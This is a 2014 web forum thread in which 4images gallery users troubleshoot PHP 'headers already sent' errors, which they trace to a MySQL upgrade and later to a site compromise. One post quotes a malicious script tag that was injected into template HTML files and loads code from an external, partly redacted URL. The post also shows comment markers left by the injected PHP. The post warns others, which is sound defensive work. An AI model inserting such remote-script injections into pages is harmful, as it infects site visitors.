Author Topic: ERROR: Cannot modify header information - headers already sent by  (Read 17141 times)

0 Members and 1 Guest are viewing this topic.

Offline WWTNET

  • Newbie
  • *
  • Posts: 17
    • View Profile
Hello,

Since few days I get this error on my website (also on the administration part). I assure you I haven't changed anything in the script.
I've already checked db_mysql.php there's nothing before <?php and nothing after ?>

Thanks for your support on this issue.
D.R.

An unexpected error occured. Please try again later.

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/includes/sessions.php on line 102

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 168

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 169

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 170

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 171

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 172

Rembrandt

  • Guest
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #1 on: April 06, 2014, 03:36:22 PM »
Hi!

The error does not come by itself, you must have changed something and the error is not in the "db_mysql.php".
Check all the files, they have edited and read this:
http://www.4homepages.de/forum/index.php?topic=24177.0

mfg Andi

Offline WWTNET

  • Newbie
  • *
  • Posts: 17
    • View Profile
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #2 on: April 07, 2014, 01:03:57 AM »
Hello Rembrandt,

Thanks a lot for your help. Here you have the details of the error:

Bad SQL Query:

        CREATE TABLE IF NOT EXISTS wwt_users_rating (
        field_id int(11) unsigned NOT NULL AUTO_INCREMENT,
        user_id int(11) NOT NULL DEFAULT '0',
        other_user_id int(11) NOT NULL DEFAULT '0',
        rating_date int(11) NOT NULL DEFAULT '0',
        rating_value int(2) NOT NULL DEFAULT '0',
        rating_count int(11) NOT NULL DEFAULT '0',
        PRIMARY KEY(field_id)
        ) TYPE=MyISAM;

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TYPE=MyISAM' at line 9


My website ( worldwidetourist.net ) is hosted at godaddy.com. One month ago they announced an upgrade of the MySQL version, I think this could be the reason of the error.

Over the next 90 days, we're upgrading your account's database from MySQL 4.0 to MySQL 5.5. This mandatory upgrade will increase both the security and performance of your database. However, because we cannot test every possible website configuration, we wanted to notify you because the upgrade could potentially impact your site if the application using the database is out-of-date and/or incompatible with the newer version of MySQL.

Is the new version incompatible with 4images scripting mode ? Please advice what to do.

* Later Edit: I've also checked in phpmyadmin the database and for all tables were changed (from TYPE=MyISAM to ENGINE=MyISAM for the new version) but I can't realize where that query comes from as this is what I have in the sql:

Code: [Select]
DROP TABLE IF EXISTS `wwt_users_rating`;
CREATE TABLE `wwt_users_rating` (
  `field_id` int(11) unsigned NOT NULL auto_increment,
  `user_id` int(11) NOT NULL default '0',
  `other_user_id` int(11) NOT NULL default '0',
  `rating_date` int(11) NOT NULL default '0',
  `rating_value` int(2) NOT NULL default '0',
  `rating_count` int(11) NOT NULL default '0',
  PRIMARY KEY  (`field_id`)
) ENGINE=MyISAM AUTO_INCREMENT=10 DEFAULT CHARSET=utf8;

--
-- Dumping data for table `wwt_users_rating`
--


/*!40000 ALTER TABLE `wwt_users_rating` DISABLE KEYS */;
LOCK TABLES `wwt_users_rating` WRITE;
INSERT INTO `wwt_users_rating` VALUES (1,1,20,1218347182,9,1),(2,1,24,1218353047,9,1),(3,1,22,1218358665,10,1),(4,1,8,1218360020,9,1),(5,1,9,1218360040,9,1),(6,1,48,1223750565,8,1),(7,1,51,1224318273,10,1),(8,48,51,1224322328,10,1),(9,161,51,1238486555,10,1);
UNLOCK TABLES;
/*!40000 ALTER TABLE `wwt_users_rating` ENABLE KEYS */;


Thanks
D.R.
« Last Edit: April 07, 2014, 03:41:40 AM by WWTNET »

Rembrandt

  • Guest
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #3 on: April 07, 2014, 05:37:31 AM »
...

Bad SQL Query:

        CREATE TABLE IF NOT EXISTS wwt_users_rating (
        field_id int(11) unsigned NOT NULL AUTO_INCREMENT,
        user_id int(11) NOT NULL DEFAULT '0',
        other_user_id int(11) NOT NULL DEFAULT '0',
        rating_date int(11) NOT NULL DEFAULT '0',
        rating_value int(2) NOT NULL DEFAULT '0',
        rating_count int(11) NOT NULL DEFAULT '0',
        PRIMARY KEY(field_id)
        ) TYPE=MyISAM;

.... but I can't realize where that query comes from as this is what I have in the sql:

...
This is not a part from 4images it is a modification, you must know yourself where that is.
Check all the php files and change "TYPE=MyISAM" to "ENGINE=MyISAM"

mfg Andi

Offline WWTNET

  • Newbie
  • *
  • Posts: 17
    • View Profile
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #4 on: April 07, 2014, 06:45:51 AM »
Rembrandt, I assure you this is not because of any modification done by me on the code. The error came overnight...
As you probably realized, I do have some coding knowledge (not a totally novice :D) but I do not know how the whole script works. Is there any .php that could generate this query ?
 
Thanks.
D.R.

Rembrandt

  • Guest
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #5 on: April 07, 2014, 07:49:57 AM »
this is a modification, look here:
http://www.4homepages.de/forum/index.php?topic=19586.msg105775#msg105775

your Problem, search in includes/functions.php:

TYPE
=MyISAM

and replace:

ENGINE
=MyISAM


mfg Andi

Offline WWTNET

  • Newbie
  • *
  • Posts: 17
    • View Profile
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #6 on: April 07, 2014, 09:02:27 AM »
Perfect, Problem SOLVED!
Million thanks Rembrandt!

D.R.

Offline dneibert

  • Newbie
  • *
  • Posts: 22
    • View Profile
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #7 on: April 19, 2014, 08:03:35 AM »
Hi,

I am having the same problem. I did not change anything on my site. I believe my host just upgraded the SQL on their servers. Here is the error I get:

Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/includes/sessions.php on line 101
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/includes/sessions.php on line 101


I tried this as suggested:
http://www.4homepages.de/forum/index.php?topic=24177.0
but I cannot get the red error message to come up.


I also tried this:
Check all the php files and change "TYPE=MyISAM" to "ENGINE=MyISAM"
but TYPE=MyISAM does not exist in my code anywhere


I also cannot login to my admin area and get this:
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/includes/sessions.php on line 101
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/includes/sessions.php on line 101
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/includes/sessions.php on line 101
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/admin/admin_functions.php on line 179
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/admin/admin_functions.php on line 180
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/admin/admin_functions.php on line 181
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/admin/admin_functions.php on line 182
Warning: Cannot modify header information - headers already sent by (output started at /home/danane5/public_html/stock/config.php:73) in /home/danane5/public_html/stock/admin/admin_functions.php on line 183


Any ideas? You can see the error for yourself here at: www.DanaNeibertStock.com



Thanks,

Dana

Offline WWTNET

  • Newbie
  • *
  • Posts: 17
    • View Profile
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #8 on: April 25, 2014, 10:14:02 PM »
Hello Dneibert,

first check  includes/functions.php for TYPE=MyISAM.
the last few days i have again problems with my website, as you have now but this is not related to MyISAM parameter anymore. I found some php files modified and some code injected.
In your case, check config.php file and maybe you have some code injected at the end of php script, something like
<?php
#e5900a#                                                                                                                                                                                                                                                     
#/e5900a#
?>


i found this injected in: index.php, language/english/main.php, include/page_footer.php and page_header.php also.

I hope this will help you.
All the best
D.R.

Offline dneibert

  • Newbie
  • *
  • Posts: 22
    • View Profile
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #9 on: April 25, 2014, 10:23:17 PM »
Thanks for the response. I tried looking for all the things you noted. I did not find any. I'll keep trying...


Hello Dneibert,

first check  includes/functions.php for TYPE=MyISAM.
the last few days i have again problems with my website, as you have now but this is not related to MyISAM parameter anymore. I found some php files modified and some code injected.
In your case, check config.php file and maybe you have some code injected at the end of php script, something like
<?php
#e5900a#                                                                                                                                                                                                                                                     
#/e5900a#
?>


i found this injected in: index.php, language/english/main.php, include/page_footer.php and page_header.php also.

I hope this will help you.
All the best
D.R.

Offline WWTNET

  • Newbie
  • *
  • Posts: 17
    • View Profile
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #10 on: April 25, 2014, 10:37:29 PM »
also found code injected in all html files from template/default
code like
Code: [Select]
<!--37c330--><script type="text/javascript" src="http://serwer1332930.home.XX/image/cnt.php?id=491640"></script><!--/37c330-->I altered the link so people do not click on it to infect.

check this also...

Rembrandt

  • Guest

Offline tileiran

  • Pre-Newbie
  • Posts: 8
    • View Profile
    • کاشی تبریز
Re: ERROR: Cannot modify header information - headers already sent by
« Reply #12 on: December 20, 2018, 06:28:52 AM »
Since few days I get this error on my website I assure you I haven't changed anything in the script.
کاشی تبریز